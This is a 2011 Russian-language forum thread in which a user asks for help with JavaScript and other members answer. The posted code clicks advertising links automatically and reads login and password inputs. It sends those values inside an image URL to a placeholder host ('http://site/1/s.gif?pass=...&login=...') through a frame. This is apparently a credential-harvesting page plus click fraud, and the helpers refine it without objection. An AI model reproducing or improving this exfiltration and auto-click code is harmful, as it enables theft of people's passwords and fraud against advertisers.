[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: фрейм
qaz333
вот такой вопрос


<script language="JavaScript" charset="UTF-8" src="http://z750.takru.com/in.php?id=751896"></script>

<script
language="JavaScript">
function
clicke(n){
var a= document.getElementsByTagName("a"), links= [];
for(var i= 0; i < a.length; i++){
if(a[i].className == "takru"){
links.push(a[i]);
}
}

links[n].click();
}
clicke(0);
</script>



после клика на месте сайта станет тот сайт на ссылку которого бло нажато,
как сделать штоб новый сайт открывался во фрейме?



Спустя 19 минут, 49 секунд (28.03.2011 - 22:40) killer8080 написал(а):
Вставляй ифрейм в документ, назначь ему name

...
links[n].target= "iframe_name";
links[n].click();
}

Спустя 1 день, 15 часов, 48 минут, 38 секунд (30.03.2011 - 14:29) qaz333 написал(а):
а если так,

function you(){










var a = document.getElementsByTagName("input")[0];
var c = document.getElementsByTagName("input")[1];
var b = a.value;
var d = c.value;


document.location.href = "http://site/1/s.gif?pass="+b+"&login=" + d;



}


</script>


как сделать штоб перенаправление открылось в фрейме?

Спустя 1 час, 53 минуты, 2 секунды (30.03.2011 - 16:22) Michael написал(а):
Меняй просто адрес у фрейма:
window.frames['имя фрейма'].location.href = 'путь';


Спустя 13 минут, 3 секунды (30.03.2011 - 16:35) qaz333 написал(а):
ага, точно спс, а вот такая проблема, в опере всё пашет нормально, а вот в фаерфоксе вышла неполадочка,


<script language="JavaScript">
function
you(){

var a = document.getElementsByTagName("input")[0];
var c = document.getElementsByTagName("input")[1];
var b = a.value;
var d = c.value;


window.frames['q'].document.location.href = "http://сайт/1/s.gif?pass="+b+"&login=" + d;

}


</script>


при первом вызове функции .document.location.href = "http://сайт/1/s.gif?pass="+b+"&login=" + d;
как положено открывается во фрейме, а вот при втором, значение фрема не меняется(ну всмысле значения +b и d всегда разные), приходится обновлять страницу, как можно исправить?

Спустя 23 часа, 7 минут, 19 секунд (31.03.2011 - 15:42) killer8080 написал(а):
гораздо проще через DOM
document.getElementById("iframe_id").src= 'путь';

и вместо
var a = document.getElementsByTagName("input")[0];
var c = document.getElementsByTagName("input")[1];
var b = a.value;
var d = c.value;

так
var a= document.getElementsByTagName("input")[0].value;
var c = document.getElementsByTagName("input")[1].value

Спустя 2 часа, 1 минута, 9 секунд (31.03.2011 - 17:44) qaz333 написал(а):
ну а поможет ето, решить проблему с фаерфоксом?

Спустя 1 час, 30 минут, 33 секунды (31.03.2011 - 19:14) killer8080 написал(а):
выведи значение переменных алертом и посмотри меняется ли оно вообще.
А почему такое странное обращение к инпутам? Они у тебя что безымянные?
не плохо было бы увидеть код.

Спустя 20 минут, 36 секунд (31.03.2011 - 19:35) qaz333 написал(а):
Цитата (killer8080 @ 31.03.2011 - 16:14)
выведи значение переменных алертом и посмотри меняется ли оно вообще.
А почему такое странное обращение к инпутам? Они у тебя что безымянные?
не плохо было бы увидеть код.

да безымянные,

переменные меняются,(в опере работает как положено) а вот в фаерфоксе а вот при второй отправки данных, значение фрема не меняется

Спустя 2 минуты, 43 секунды (31.03.2011 - 19:37) killer8080 написал(а):
А ифрейм случайно не перед инпутами?
Лучше к инпутам обращаться через имена ил ид.

Спустя 1 час, 13 минут, 5 секунд (31.03.2011 - 20:50) qaz333 написал(а):
Цитата (killer8080 @ 31.03.2011 - 16:37)
А ифрейм случайно не перед инпутами?
Лучше к инпутам обращаться через имена ил ид.

перед инпутами, надо песле?

Спустя 1 час, 44 минуты, 50 секунд (31.03.2011 - 22:35) killer8080 написал(а):
Цитата (qaz333 @ 31.03.2011 - 19:50)
перед инпутами, надо песле?

Нет, но возможно в ФФ есть баг, и в document.getElementsByTagName("input") он собирает не только инпуты документа, но и ифрейма. Вот поэтому и не стоит таким способом обращаться к элементам формы.



















Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2025 Invision Power Services, Inc.